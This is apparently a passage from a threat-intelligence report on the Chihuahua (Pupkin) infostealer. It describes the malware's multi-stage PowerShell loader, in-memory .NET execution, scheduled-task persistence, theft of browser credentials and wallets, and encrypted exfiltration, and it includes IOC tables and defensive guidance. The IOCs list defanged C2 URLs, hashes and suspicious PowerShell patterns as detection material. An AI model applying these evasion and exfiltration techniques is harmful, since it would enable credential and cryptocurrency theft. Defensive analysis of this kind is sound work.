While delivery via Google Drive has been confirmed, infostealers like Chihuahua are known to propagate through various other channels. These include malvertising (malicious advertisements), trojanized downloads (legitimate software bundled with malware), and the exploitation of other trusted platforms like GitHub. Phishing emails and messages impersonating IT support or other trusted entities are also common methods to deliver the initial payload. For the PupkinStealer variant, distribution is likely through phishing emails containing malicious attachments or links, or via cracked software packages offered on dubious websites.

3.. Execution & Evasion: Multi-stage Loading, In-Memory.NET Execution, and Anti-Detection Techniques

Chihuahua Stealer employs a sophisticated multi-stage infection chain designed to deliver its main payload while evading detection. This layered approach is a hallmark of modern malware aiming for stealth and resilience.

Stage 1: PowerShell Loader
The attack typically commences with the execution of a compact PowerShell loader script. This initial script can use Invoke-RestMethod to fetch an encoded payload from a remote source 1 or may contain a Base64-encoded string that it decodes and executes directly in memory using iex (Invoke-Expression). The iex method allows the script to run with bypassed execution policies and in a silent manner, crucial for avoiding user alerts and basic security restrictions. This fileless initiation helps to avoid writing overtly malicious code to disk, thereby circumventing some antivirus scans.
Stage 2: Payload Reconstruction
The first-stage loader is responsible for decoding or deobfuscating the next stage of the attack. This often involves reconstructing a larger, more heavily obfuscated payload, which might be encoded in hexadecimal format. Techniques observed include the stripping of custom delimiters (e.g., the "\~" character) from the encoded data and converting the hexadecimal values into ASCII text. This process dynamically builds the third-stage script directly in memory. Such runtime reconstruction of malicious code is a deliberate tactic to evade static analysis by security tools and sandboxes, which may not execute the code long enough or with the right context to observe its true nature.
Stage 3:.NET Assembly Loading and Execution
The deobfuscated script then proceeds to retrieve the main Chihuahua Stealer payload, which is a.NET assembly. This core malicious component might be fetched from an attacker-controlled Command and Control (C2) server (e.g., flowers[.]hold-me-finger[.]xyz 4) or another cloud-hosted URL, such as one on OneDrive. The.NET assembly itself is often Base64-encoded. Upon retrieval, it is decoded (e.g., using the.NET method ::FromBase64String()). A critical step for evasion is that the decoded.NET assembly is loaded directly into memory using.NET Reflection capabilities, specifically ::Load(...). Its Main method is then invoked to initiate the stealer's operations. This in-memory execution ensures that the primary malicious binary is never written to the disk, significantly reducing the likelihood of detection by traditional file-based antivirus solutions.
Evasion Tactics
Chihuahua Stealer incorporates several evasion tactics:

  • Obfuscation: PowerShell scripts utilize Base64 encoding and hex-string obfuscation to mask their malicious content.
  • In-memory execution: As described, loading and running the.NET payload directly in memory bypasses many disk-based scanning mechanisms.
  • Use of trusted platforms: Leveraging Google Drive and OneDrive for payload delivery helps the malware bypass network filters and gain an initial foothold by abusing user trust.
  • Process Termination (PupkinStealer variant): The PupkinStealer variant actively terminates running processes of targeted applications, such as web browsers and messaging clients. This allows it to access their data files (e.g., credential stores) without interference or file-locking issues.
  • Wiping traces: After completing its objectives, the malware attempts to remove evidence of its presence by clearing the console, wiping clipboard contents, and deleting files and directories it created during its operation.

The malware's significant reliance on PowerShell for multiple stages of its operation—including initial loading, persistence mechanisms, and potentially elements of its command and control logic—underscores the critical need for robust PowerShell logging and sophisticated analysis capabilities within security operations. The use of Invoke-Expression (iex) and in-memory.NET assembly loading via Reflection specifically targets environments that may have weak PowerShell security configurations or inadequate Endpoint Detection and Response (EDR) visibility into script execution processes. Attackers increasingly abuse legitimate system tools like PowerShell, a technique often referred to as "living off the land," because these tools are ubiquitous, inherently trusted by the operating system, and their malicious use can be difficult to distinguish from benign administrative activities. Consequently, organizations must progress beyond merely restricting PowerShell access; they need to implement comprehensive monitoring and hardening strategies, such as enabling detailed script block logging, integrating with the Antimalware Scan Interface (AMSI), and deploying tools capable of analyzing obfuscated scripts and detecting anomalous in-memory activities.

3.. Persistence: Scheduled Tasks and Marker Files

To ensure its continued operation on a compromised system, Chihuahua Stealer establishes persistence primarily through the creation of a scheduled task. This task is often given a name composed of random-looking characters to blend in with legitimate system tasks, with "f90g30g82" being a specifically identified name in observed infections. Security analysts anticipate that future variants will likely use different, similarly randomized names to evade simple signature-based detection. This scheduled task is configured to execute a PowerShell command at frequent intervals, such as every minute.

The persistence mechanism is further refined by marker-based execution logic. The scheduled PowerShell job periodically checks for the presence of custom marker files on the system. These files act as signals, indicating an active infection or dictating whether the malware should proceed with certain actions, such as fetching additional payloads. Files containing ".normaldaki" in their name or as a file extension, particularly found in user directories like the "Recent Files" folder, have been identified as such infection markers.

If these marker files are detected, or other predefined conditions are met, the persistence script can dynamically fetch additional payloads or instructions from attacker-controlled C2 servers. This capability points to a modular design, allowing the attackers to update or extend the malware's functionality post-infection and maintain a stealthy operational profile.

Interestingly, some analyses of the PupkinStealer variant suggest it may lack specific persistence mechanisms, favoring rapid execution and data theft. This apparent discrepancy between the "Chihuahua Stealer" and "PupkinStealer" profiles could indicate several possibilities: different versions of the malware may exist with varying feature sets; persistence could be a configurable module offered by the developer "Ardent"; or PupkinStealer might represent an earlier, simpler iteration, with Chihuahua Stealer being an evolution that incorporates more robust persistence. This variability highlights the dynamic nature of malware development and distribution, underscoring the need for defenders to anticipate diverse TTPs even within the same malware family. Relying on a single report indicating a lack of persistence could prove to be a critical oversight if a persistent variant is encountered.

3.. Data Espionage: Targeting Browser Credentials and Cryptocurrency Wallets

Chihuahua Stealer is fundamentally an infostealer, designed to harvest sensitive information from compromised systems. Its primary targets are web browser data and cryptocurrency wallet information.

The malware is programmed to identify and target a range of popular web browsers. It often contains a predefined list of browser paths, stored internally under a variable such as SinBinoklya, to locate credential stores and other valuable data. Browsers targeted include, but are not limited to: Google Chrome, Chromium, Brave, Opera (including its GX variant), Microsoft Edge, Slimjet, MapleStudio's ChromePlus, and Iridium. From these browsers, the stealer aims to extract credentials (usernames and passwords), cookies, autofill data (including payment information), browsing history, and active session data.

A significant focus of Chihuahua Stealer is the theft of data related to cryptocurrency wallets. It actively searches for and exfiltrates information from cryptocurrency wallet extensions installed in browsers. The malware achieves this by identifying and copying data from specific folders associated with known wallet extension IDs.

The PupkinStealer variant exhibits a broader range of data theft capabilities. In addition to browser credentials and crypto wallet data, it is also designed to steal data from Telegram and Discord messaging applications, general email clients, and clipboard contents. It also captures desktop files and takes screenshots of the victim's desktop. To decrypt stored browser passwords, PupkinStealer specifically targets Chromium-based browsers, locating their "Login Data" SQLite databases and the corresponding "Local State" files which contain the encryption key. It then utilizes the Chromium credential API logic, in conjunction with Windows Data Protection API (DPAPI) calls, to decrypt these passwords.

3.. Exfiltration and Cleanup: Data Packaging, Encryption, C2 Communication, and Trace Removal

Once sensitive data has been collected, Chihuahua Stealer prepares it for exfiltration to attacker-controlled infrastructure. This process involves several steps to package, secure, and transmit the stolen information, followed by attempts to erase its operational footprint.

Data Staging and Compression:
The harvested data is first staged. In some instances, a plaintext file, such as Brutan.txt, may be written to the malware's working directory to temporarily hold some of the collected information. Subsequently, all stolen data is compressed into an archive file. This archive is characteristically given the ".chihuahua" extension. The PupkinStealer variant, on the other hand, creates a ZIP archive typically named [Username]@ardent.zip, where [Username] is the victim's Windows username.
Encryption:
To protect the stolen data during transit and to hinder analysis if intercepted, the compressed archive is encrypted. Chihuahua Stealer employs AES-GCM (Advanced Encryption Standard in Galois/Counter Mode) for this purpose. Notably, it utilizes native Windows Cryptography API: Next Generation (CNG) functions to perform the encryption. This use of native APIs is a somewhat uncommon but effective technique among stealers, as it reduces the malware's dependency on external libraries and can make its cryptographic operations appear more like legitimate system activities. The encrypted output file may be named using a victim-specific identifier, for instance, \<victimID>VZ. The choice of native Windows APIs for encryption is a subtle yet impactful technique. It not only minimizes the malware's external dependencies, thereby reducing its overall footprint, but also allows its cryptographic activities to potentially blend more seamlessly with normal system operations. This can make detection more challenging for security tools that primarily look for suspicious third-party cryptographic libraries. Therefore, identifying malicious encryption cannot solely depend on spotting unusual libraries; it requires a contextual understanding of which process is performing the encryption, the nature of the data being encrypted, and its ultimate destination. The recommendation to flag uncommon AES-GCM usage via Windows CNG APIs, particularly when correlated with outbound HTTPS traffic, directly addresses this challenge by focusing on the behavior and context rather than just the tool.
C2 Communication and Data Exfiltration:
The encrypted and compressed data is then exfiltrated over HTTPS to C2 servers controlled by the attackers. An observed exfiltration endpoint for Chihuahua Stealer is hxxps[:]//flowers[.]hold-me-finger[.]xyz/index2[.]php. Other domains, such as cdn.findfakesnake.xyz and cat-watches-site.xyz, have been associated with fetching payloads or instructions. In contrast, the PupkinStealer variant is known to use the Telegram Bot API for exfiltrating stolen data.
Trace Removal (Cleanup):
As a final step, Chihuahua Stealer attempts to meticulously erase its tracks from the compromised system. This cleanup routine includes deleting files and directories created during its operation and clearing the console and clipboard contents. This demonstrates a conscious effort by the malware authors to hinder forensic analysis and evade detection post-infection.

4. Indicators of Compromise (IOCs)

Identifying Indicators of Compromise (IOCs) associated with Chihuahua Stealer (and its alias Pupkin Stealer) is crucial for detection, threat hunting, and incident response. The following tables consolidate known network and host-based IOCs derived from available analyses. Security teams should leverage these IOCs to bolster their defenses by blocking malicious infrastructure, searching logs for suspicious activity, and developing specific detection rules for their security tools. The use of seemingly random names for artifacts like scheduled tasks (e.g., "f90g30g82") and unique file extensions (e.g., ".chihuahua," ".normaldaki") represents a deliberate choice by the malware authors. While random names aim to blend with system noise, their unusual structure or the commands they execute can still be anomalous. The unique extensions are particularly strong indicators, as legitimate software is highly unlikely to employ them. These types of IOCs are valuable for initial detection but can be readily altered by attackers in subsequent malware variants, emphasizing the need for behavioral detection capabilities alongside static IOC monitoring. The distinct ".chihuahua" extension might also serve as a form of branding by the malware author, akin to the embedded rap lyrics.

4.. Network IOCs

The following network indicators have been associated with Chihuahua Stealer operations, primarily for command and control (C2) communication, payload delivery, and data exfiltration.

Table 4.: Network Indicators of Compromise for Chihuahua/Pupkin Stealer

Indicator Type Indicator Value Associated Malware Stage/Activity Source Snippet(s)
Domain/URL flowers[.]hold-me-finger[.]xyz C2: Payload retrieval, Data exfiltration 1
URL hxxps[:]//flowers[.]hold-me-finger[.]xyz/index2[.]php C2: Data exfiltration endpoint 1
Domain cat-watches-site[.]xyz C2: Fallback C2 for payloads/instructions 1
Domain cdn.findfakesnake.xyz C2: Payload/Instruction retrieval 1
Domain/URL onedrive[.]office-note[.]com Payload Hosting (OneDrive-based) 4
URL hxxps://onedrive[.]office-note[.]com/res?a=c\&b=\&c=8f2669e5-01c0-4539-8d87-110513256828\&s=...JWT... Payload Hosting (Specific OneDrive URL) 4
API Usage Telegram Bot API Data Exfiltration (PupkinStealer variant) 3

4.. Host-Based IOCs

Host-based indicators are critical for identifying infections on endpoints. These include file hashes, specific file names and extensions, scheduled task details, and characteristic PowerShell command line patterns. The overlap in some generic antivirus detection signatures (e.g., Trojan.Gen.MBT, WS.Malware.) for both PupkinStealer and Chihuahua Stealer 7 further substantiates that they are the same or very closely related malware. These generic detections often rely on heuristic and behavioral analysis, capturing the underlying malicious activity even before highly specific signatures for "Chihuahua" become widely available. This underscores the importance of multi-layered endpoint defenses that include heuristic engines, as they can provide an initial line of defense against new or slightly modified malware variants.

Table 4.: Host-Based Indicators of Compromise for Chihuahua/Pupkin Stealer

Indicator Type Indicator Value Description/Context Source Snippet(s)
File Hash (SHA256) afa819c9427731d716d4516f2943555f24ef13207f75134986ae0b67a0471b84 PowerShell Loader Script 1
File Hash (SHA256) c9bc4fdc899e4d82da9dd1f7a08b57ac62fc104f93f2597615b626725e12cae8 Chihuahua Stealer.NET Payload 1
File Extension .chihuahua Extension for compressed stolen data archive; found in temp/user directories 1
File Name/Extension Pattern Files with .normaldaki in name or as extension Marker files for active infection; found in user directories, "Recent Files" folder 1
File Name Brutan.txt Plaintext staging file for stolen data; found in working directory 4
File Extension .VZ Extension for encrypted output file (e.g., \<victimID>VZ) 4
File Name Pattern (PupkinStealer) [Username]@ardent.zip ZIP archive of stolen data (PupkinStealer variant); found in Temp directory 8
Directory Structure (PupkinStealer) Grabbers\Browser\passwords.txt, Grabbers\TelegramSession\*, Grabbers\Discord\Tokens.txt, Grabbers\Screenshot\Screen.jpg, DesktopFiles\* Staging folders for stolen data (PupkinStealer variant) 8
Scheduled Task Name f90g30g82 or similarly random strings Persistence mechanism; runs PowerShell command frequently (e.g., every minute) 1
PowerShell Command Line powershell.exe -EncodedCommand \<long_base64_string> or similar (e.g. -e, -en, -enc) Execution of Base64-encoded PowerShell commands 1
PowerShell Command Line Contains iex (Invoke-Expression) Direct execution of strings as commands 4
PowerShell Command Line Contains ::FromBase64String() and ::Load() In-memory loading of.NET assemblies 1
Registry Key (Scheduled Tasks) HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tasks General location for scheduled task definitions 15
Registry Key (Scheduled Tasks) HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree Contains task GUID, index, security descriptor 16
Registry Key (Scheduled Tasks) HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks Contains task components (triggers, actions) 15
File Path (Scheduled Tasks) C:\windows\system32\tasks\ (and subfolders) XML definitions of scheduled tasks (Vista and later) 16
File Path (PowerShell Sched. Jobs) %localappdata%\Microsoft\Windows\PowerShell\ScheduledJobs Location for PowerShell scheduled job definitions 16
AV Detection (Loader Example) PowerShell.Trojan-Downloader.Agent.IE1KHF (G DATA) Antivirus signature for PowerShell loader component 4
AV Detection (Payload Example) Win32.Trojan-Stealer.Chihuahua.W7FOE (G DATA) Antivirus signature for main.NET stealer payload 4
AV Detection (Generic Examples) Trojan Horse, Trojan.Gen., Trojan.Gen.MBT, WS.Malware., SONAR.MalTraffic!gen1, SONAR.Stealer!gen1, Heur.AdvML.* Generic/Heuristic detections by Broadcom/Symantec for Pupkin/Chihuahua 7

5. Impact Assessment and Current Threat Landscape

5.. Affected Systems and Potential Victimology

Chihuahua Stealer, and its alias PupkinStealer, primarily target systems running the Windows operating system. The malware's victimology appears to be opportunistic rather than narrowly focused on specific industries or demographics. It is designed to harvest valuable data from any compromised system, making both individual home users and employees within organizations potential targets. PupkinStealer, in particular, is described as indiscriminate in its targeting approach. The malware's core function is to locate and exfiltrate stored passwords, personal files, and data from messaging applications, irrespective of the victim's profile.

While no specific geographical regions are consistently highlighted as primary targets for Chihuahua/PupkinStealer campaigns in the analyzed materials, one illustrative example mentions PupkinStealer's involvement in the theft of over 31,000 banking passwords belonging to Australian customers. However, this appears to be a general example of infostealer impact rather than an indication of a specific campaign focus for this particular malware. Broader infostealer threat reports, such as those covering Lumma Stealer, indicate high concentrations of activity in the United States, various parts of South America, Europe, and several Asian countries. However, this general infostealer distribution does not necessarily reflect the specific operational scope of Chihuahua Stealer.

The opportunistic nature of Chihuahua/PupkinStealer, combined with reports suggesting its availability to "likely low-skilled actors" 8, implies that it might be part of a Malware-as-a-Service (MaaS) ecosystem or is easily obtainable from underground forums. This accessibility lowers the barrier to entry for a wider range of cybercriminals. The proliferation of such tools often leads to a higher volume of attacks from a more diverse set of actors. These actors may not all possess high levels of skill, potentially resulting in campaigns that are "noisier" or less sophisticated in their targeting but remain dangerous due to the malware's inherent capabilities.

5.. Risks to Individuals and Organizations

The compromise by Chihuahua Stealer poses significant risks to both individual users and organizations.
For Individuals: The primary risks include a severe compromise of user privacy, the potential for identity theft, and direct financial fraud. Access to stolen banking credentials, cryptocurrency wallet seed phrases or private keys, and other personal data can lead to unauthorized transactions and financial losses.
For Organizations: The implications can be far-reaching:

  • Credential Theft and Unauthorized Access: The theft of corporate credentials stored in browsers or obtained through compromised personal devices used for work can grant attackers unauthorized access to sensitive internal systems, applications, and data.
  • Data Breaches and Financial Loss: Successful intrusions can escalate into full-blown data breaches, leading to significant financial losses from recovery efforts, regulatory fines, and legal liabilities.
  • Reputational Damage: Data breaches and security incidents can severely damage an organization's reputation, eroding customer trust and impacting business relationships.
  • Facilitation of Further Attacks: Stolen credentials are often sold on dark web markets or used by attackers to conduct lateral movement within corporate networks. This can pave the way for more severe attacks, including ransomware deployment or persistent espionage.
  • BYOD Risks: The general trend of infostealers targeting Bring Your Own Device (BYOD) environments 18 means that if Chihuahua infects an employee's personal device that is also used for work purposes, it can serve as a bridge into the corporate network and resources.

5.. Chihuahua Stealer in the Context of Evolving Infostealer Threats

Chihuahua Stealer is not an isolated phenomenon but rather a reflection of broader evolutionary trends within the infostealer threat landscape. Its design philosophy—emphasizing stealth, feature richness, multi-stage loading, cloud-based delivery mechanisms, native API utilization for encryption, and meticulous cleanup routines—positions it as an example of the increasing sophistication in infostealer development. This marks a departure from older, simpler "smash-and-grab" types of stealers that were easier to detect and mitigate.

The data targeted by Chihuahua—browser credentials, cookies, autofill information, and cryptocurrency wallets—aligns perfectly with the most commonly sought-after information by modern infostealers. This stolen data, often referred to as "logs," is highly monetizable and frequently traded on dark web marketplaces.

Significantly, infostealers like Chihuahua often serve as an initial access vector, providing the foothold and credentials necessary for subsequent, more devastating attacks such as ransomware deployment or comprehensive account takeovers. ESET researchers noted that infostealer families like Lumma Stealer are typically a "foreshadowing of future, much more devastating attacks". The infostealer landscape is characterized by continuous innovation, with malware authors constantly refining capabilities and evasion techniques to bypass security measures. Chihuahua's adoption of.NET in-memory execution and its use of Windows CNG APIs for encryption are indicative of this ongoing arms race.

Recent intelligence from June 2025 highlights several key trends in the infostealer domain:

  • The notorious Lumma Stealer, despite a significant disruption operation in May 2025, is showing signs of resurgence.
  • Following Lumma's takedown, the Acreed infostealer is reportedly emerging as a dominant strain on the "Russian Market" platform for stolen credentials.
  • Infostealer attacks saw a 58% surge, with a notable trend of over 70% of infected devices being personal ones, often implicating BYOD scenarios.
  • Infostealers were implicated in nearly a quarter (24%) of all cyber incidents in 2024, marking a 104% year-over-year increase in their prevalence.
  • The delivery of infostealers via phishing emails escalated dramatically, with an 84% increase in weekly incidents in 2024 compared to 2023. Early 2025 data indicates this surge continued, reaching 180% compared to 2023 levels.
  • Credential harvesting was the primary impact in 29% of security incidents during 2024.
  • A concerning development is the adoption of Artificial Intelligence (AI) by threat actors to enhance their campaigns. AI is being used to build more convincing phishing websites, create deepfakes for social engineering, and generate malicious code, making infostealer campaigns more efficient and harder to detect.

The absence of specific, widespread campaign reporting directly attributed to Chihuahua/PupkinStealer by major threat intelligence groups or government cybersecurity agencies (such as CISA, NCSC, BSI, or ANSSI) in the provided information 1 is noteworthy. This could suggest that its campaigns are either not yet large-scale enough to trigger major public alerts, are being categorized under general "infostealer activity" in broader reports, or are still pending full characterization and attribution by these larger entities. Given its discovery in April 2025, it's plausible that comprehensive intelligence reporting is still developing. Nevertheless, security teams should not solely rely on high-profile alerts to gauge a threat's severity; the technical capabilities demonstrated by Chihuahua/PupkinStealer alone warrant proactive defensive measures.

6. Countermeasures: Detection, Prevention, and Mitigation

Effectively countering threats like Chihuahua Stealer requires a multi-layered security approach encompassing robust detection mechanisms, proactive preventative measures, diligent system hardening, and well-defined incident response procedures. The malware's use of PowerShell,.NET in-memory execution, scheduled tasks for persistence, and delivery via trusted cloud services necessitates a defense-in-depth strategy, as no single security control is likely to be entirely foolproof.

6.. Detection Strategies

Early and accurate detection is paramount in mitigating the impact of Chihuahua Stealer.

  • Leveraging Endpoint Detection and Response (EDR) and Security Information and Event Management (SIEM):
  • EDR and SIEM solutions should be configured to monitor for behavioral anomalies consistent with Chihuahua's Tactics, Techniques, and Procedures (TTPs). This includes tracking process execution chains, inter-process communication, and unusual file system or registry modifications.
  • Correlation of host and network events within a SIEM can help identify the distinct stages of the infection chain, from initial PowerShell execution to data exfiltration.
  • Security solutions like Uptycs EDR have demonstrated the ability to detect similar.NET stealers (e.g., Stealerium) by correlating generic behavioral rules and employing YARA process scanning capabilities.
  • PowerShell Logging and Anomaly Detection:
  • Given PowerShell's central role in Chihuahua's execution, comprehensive logging is critical. Enable PowerShell Script Block Logging (Event ID 4104), Module Logging (Event ID 800 for module loads and Add-Type context), and PowerShell Transcription. While automatic script block logging (default in PowerShell v5 and later) captures code containing suspicious terms, enabling global script block logging provides complete visibility into all executed scripts.
  • Monitor PowerShell logs specifically for evidence of Base64 decoding combined with.NET Reflection techniques, such as the use of ::Load().
  • Scrutinize PowerShell command lines for suspicious arguments and switches, including -EncodedCommand (and its variants -e, -en, -enc), -nop (NoProfile), -noni (NonInteractive), iex (Invoke-Expression), .downloadstring, and downloadfile.
  • Detect instances of PowerShell executing scripts from unexpected or unusual directories, such as public user folders (e.g., C:\Users\Public\).
  • Ensure the Antimalware Scan Interface (AMSI) is enabled and integrated with PowerShell. AMSI provides visibility into both on-disk and in-memory script execution and can log attempts to bypass its protections (Event ID 1101 via ETW).
  • Network Monitoring:
  • Implement blocking rules for known malicious C2 domains and IP addresses associated with Chihuahua Stealer (refer to Section 4.).
  • Alert on PowerShell jobs that run frequently (e.g., via scheduled tasks) and make outbound network connections, especially to unfamiliar, recently registered, or known malicious domains.
  • A sophisticated detection technique involves flagging uncommon usage of AES-GCM encryption via Windows CNG APIs, particularly when this activity is correlated with subsequent outbound HTTPS traffic to suspicious destinations. This requires security tools capable of monitoring API usage at a granular level and correlating it with network activity, which may be beyond the capabilities of basic EDR solutions.
  • Monitor for network connections to legitimate cloud storage services (like Google Drive or OneDrive) that are immediately followed by suspicious PowerShell activity or downloads.
  • Investigate unusual HTTP POST requests, especially those containing large encrypted payloads, directed to unfamiliar domains.
  • File System and Registry Monitoring:
  • Actively hunt for the presence of unusual file extensions such as ".chihuahua" or ".normaldaki," or specific marker files, particularly in user Temp directories or the "Recent Files" folder.
  • Monitor for the creation of scheduled tasks with random-looking names (e.g., f90g30g82) that are configured to run PowerShell commands. Key registry locations for scheduled tasks include HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Tasks and its TaskCache subkeys.
  • Anti-Analysis Technique Detection (General for.NET Stealers):
  • While not explicitly detailed for Chihuahua, other.NET stealers like Stealerium employ anti-analysis techniques such as checking for debuggers (e.g., isDebuggerPresent() API), virtualized environments (emulators, VirtualBox), specific analysis processes (Process Hacker, Wireshark), and known sandbox IP addresses (VirusTotal, anyRun). Defenders should consider detection strategies for these common evasion methods as part of a broader defense against.NET malware.

6.. Preventative Measures & System Hardening

Proactive measures are essential to prevent initial infection and harden systems against Chihuahua Stealer's TTPs.

  • User Awareness and Anti-Phishing Training:
  • Continuously educate users to recognize and report social engineering attempts, suspicious emails, and malicious documents, particularly those originating from cloud services that prompt for script execution or macro enablement.
  • Reinforce policies against clicking suspicious links or opening attachments from unverified sources.
  • PowerShell Security Best Practices:
  • Execution Policies: Enforce restrictive PowerShell execution policies (e.g., AllSigned or RemoteSigned) through Group Policy. While Chihuahua Stealer is known to use bypasses (e.g., -ExecutionPolicy Bypass), well-configured policies add an important layer of defense against less sophisticated script execution attempts.
  • Application Control: Implement robust application control solutions like Windows Defender Application Control (WDAC), which is the preferred method, or AppLocker. Properly configured WDAC policies can restrict PowerShell to Constrained Language Mode, significantly limiting its capabilities and mitigating a wide array of malicious PowerShell tradecraft, including many techniques used by Chihuahua Stealer.
  • Just Enough Administration (JEA): Implement JEA to limit administrative privileges, reducing the impact if an account with PowerShell access is compromised.
  • Principle of Least Privilege: Ensure users and processes operate with the minimum necessary permissions.
  • Tamper Protection: For environments using Microsoft Defender, enable Tamper Protection to prevent malicious scripts or actors from disabling security features or creating exclusions.
  • Securing.NET Framework and Mitigating In-Memory Threats:
  • Keep the.NET Framework and runtime environments updated with the latest security patches.
  • Employ advanced endpoint security solutions that offer visibility into.NET Common Language Runtime (CLR) activities and can detect or prevent suspicious in-memory assembly loads. Concepts like those demonstrated by the ClrGuard tool (hooking LoadImage() within the CLR) are relevant here.
  • Utilize exploit protection capabilities, such as Microsoft Defender Exploit Guard. Mitigations like Arbitrary Code Guard (ACG) could potentially interfere with the dynamic code execution methods used by malware if appropriately configured for PowerShell or other relevant processes.
  • Browser Security Hygiene:
  • Ensure all web browsers are kept up-to-date with the latest versions and security patches.
  • Advise users to use reputable ad-blocking and script-blocking extensions.
  • Implement policies or provide guidance on disabling or carefully managing browser synchronization features, especially to prevent corporate passwords from becoming accessible on potentially less secure personal devices.
  • Educate users about the risks associated with saving all passwords directly in browser password managers, particularly on shared or inadequately secured systems.
  • Cryptocurrency Wallet Security Hygiene:
  • For significant cryptocurrency holdings, strongly recommend the use of hardware (cold storage) wallets, which keep private keys offline and immune to online attacks.
  • Encourage the use of multi-signature (multisig) wallets for valuable assets, as they require multiple approvals for transactions.
  • Mandate strong, unique passwords and enable two-factor authentication (2FA) for all crypto-related accounts and software wallets. Emphasize the use of authenticator apps over SMS-based 2FA due to SIM-swapping risks.
  • Users must exercise extreme caution with browser extensions claiming to be cryptocurrency wallets, verifying their authenticity meticulously, as Chihuahua Stealer specifically targets wallet extension data.
  • Advise against accessing cryptocurrency wallets or exchanges over public Wi-Fi networks without using a trusted VPN service.
  • Train users to identify and avoid phishing sites that impersonate legitimate wallet providers or exchanges.
  • Endpoint Protection and Patch Management:
  • Deploy and diligently maintain up-to-date EDR and next-generation antivirus (NGAV) solutions that incorporate behavioral detection, machine learning, and anti-exploit capabilities. Ensure antivirus signatures and threat intelligence feeds are continuously updated.
  • Implement a rigorous patch management program to ensure that operating systems, browsers, document viewers, and all other third-party applications are regularly updated with the latest security patches.
  • Configure host-based and network firewalls to block unauthorized outbound connections and restrict access to known malicious infrastructure.
  • General Security Best Practices:
  • Enforce strong password policies and mandate the use of Multi-Factor Authentication (MFA) across the organization for all critical services and user accounts.
  • Establish and regularly test a robust data backup and recovery plan. Critical data should be backed up frequently, and backups should be encrypted and stored securely, preferably offline or in an isolated environment.
  • Adopt Zero Trust Network Architecture (ZTNA) principles, which operate on the "never trust, always verify" maxim, requiring strict authentication and authorization for all access requests.
  • Consider proactive threat intelligence services to search for mentions of company domains, employee credentials, or sensitive data on infostealer marketplaces and dark web forums.

6.. Incident Response and Remediation

Should a Chihuahua Stealer infection be suspected or confirmed, a swift and methodical incident response is crucial to contain the threat and mitigate its impact.

  • Isolation: Immediately isolate the affected endpoint(s) from the network to prevent potential lateral movement by the attacker or further data exfiltration.
  • Persistence Removal: Identify and remove the scheduled task(s) used by Chihuahua Stealer for persistence. This involves deleting the task (e.g., "f90g30g82") from the Task Scheduler and verifying its removal from the corresponding registry locations and file system paths.
  • Artifact Removal: Delete all identified malicious files, including the initial loader scripts, any staged.NET assemblies (if found on disk, though unlikely for the main payload), marker files (e.g., .normaldaki), and data archives (e.g., .chihuahua or [Username]@ardent.zip).
  • Credential Invalidation: Assume all credentials stored in web browsers on the compromised machine have been stolen. All associated passwords must be changed immediately. This includes corporate accounts, personal email, banking, social media, and any other online services. Session cookies should also be considered compromised, necessitating forced logout from active sessions where possible.
  • Cryptocurrency Wallet Remediation: If cryptocurrency wallets (software or browser extension-based) were present on the compromised system, assume private keys, seed phrases, and wallet files have been exfiltrated. If funds are accessible, attempt to immediately transfer them to new, secure wallets that have not been exposed to the compromised environment. This is a time-critical action.
  • Forensic Analysis: Conduct a thorough forensic analysis of the compromised system(s) to determine the full scope of the infection, identify all malicious activities, and ascertain if other systems on the network were affected. This includes reviewing PowerShell execution logs, network traffic logs, EDR alerts, and file system changes.
  • Log Review and Hunting: Expand the investigation by reviewing logs (PowerShell, network, SIEM, EDR) across the environment for any signs of Chihuahua Stealer activity or related IOCs on other systems.
  • IOC and Detection Rule Updates: Update internal threat intelligence databases, blocklists, and security tool detection rules (e.g., YARA rules, EDR queries) based on the findings from the incident.

7. Conclusion and Strategic Outlook

Chihuahua Stealer, also known as Pupkin Stealer, represents a notable entry in the ever-evolving landscape of.NET-based information stealers. Its multi-stage infection process, reliance on obfuscated PowerShell scripts delivered via trusted cloud platforms, in-memory.NET execution, and dedicated data exfiltration routines for browser credentials and cryptocurrency wallet data, underscore a trend towards more sophisticated and evasive malware. The malware's attempts at persistence via scheduled tasks and its efforts to clean up traces post-infection further highlight its design for stealth and resilience. While not attributed to a major state-sponsored group, its links to a developer known as "Ardent" and its Russian-language artifacts provide some insight into its origins.

The emergence of Chihuahua Stealer within the broader context of the infostealer market is significant. This market is characterized by continuous innovation, with threat actors persistently developing new malware and refining existing tools to harvest valuable credentials and data. The high demand for stolen information fuels this ecosystem. A particularly concerning trend is the increasing use of Artificial Intelligence by attackers to enhance the effectiveness of phishing campaigns, generate malicious code, and create more convincing social engineering lures 18, thereby amplifying the threat posed by infostealers.

The operational characteristics of Chihuahua Stealer emphasize a critical challenge for cybersecurity defenders: attackers are becoming increasingly skilled at blending their malicious activities with legitimate system processes and trusted online services. This "living off the land" approach, which leverages ubiquitous tools like PowerShell and native Windows APIs, makes detection inherently more difficult and necessitates a shift towards more sophisticated, behavior-based security analytics. The entire lifecycle of Chihuahua, from its PowerShell-initiated infection through its.NET execution to its encrypted data exfiltration, demonstrates the interconnectedness of various security domains. A weakness in user awareness can facilitate initial compromise; inadequate endpoint logging can allow the.NET payload to execute undetected; and insufficient network monitoring can fail to identify the exfiltration of sensitive data. This underscores the need for holistic, integrated security architectures and cross-functional security teams capable of correlating events across different layers of the IT environment.

To maintain a proactive cybersecurity posture against threats like Chihuahua Stealer and the wider spectrum of infostealers, organizations should prioritize the following strategic initiatives:

  • Enhance Visibility: Invest in tools and processes that provide deep visibility into PowerShell execution (including script block logging and AMSI integration) and.NET runtime activities (including in-memory operations).
  • Continuous User Education: Regularly train users to recognize and report evolving social engineering tactics, particularly those involving phishing emails, malicious attachments, and deceptive links delivered via trusted platforms.
  • Adopt Zero Trust Principles: Implement a Zero Trust security model, especially concerning credential access, endpoint security, and network segmentation. Verify explicitly, use least privilege access, and assume breach.
  • Regular Security Control Validation: Continuously review, test, and update security controls (EDR, NGAV, firewalls, email security) against the latest TTPs observed in infostealer campaigns. Breach and Attack Simulation (BAS) platforms can be valuable for this purpose.
  • Leverage Threat Intelligence: Subscribe to and actively utilize threat intelligence feeds to stay informed about new malware variants, IOCs, attacker methodologies, and emerging trends in the infostealer landscape.
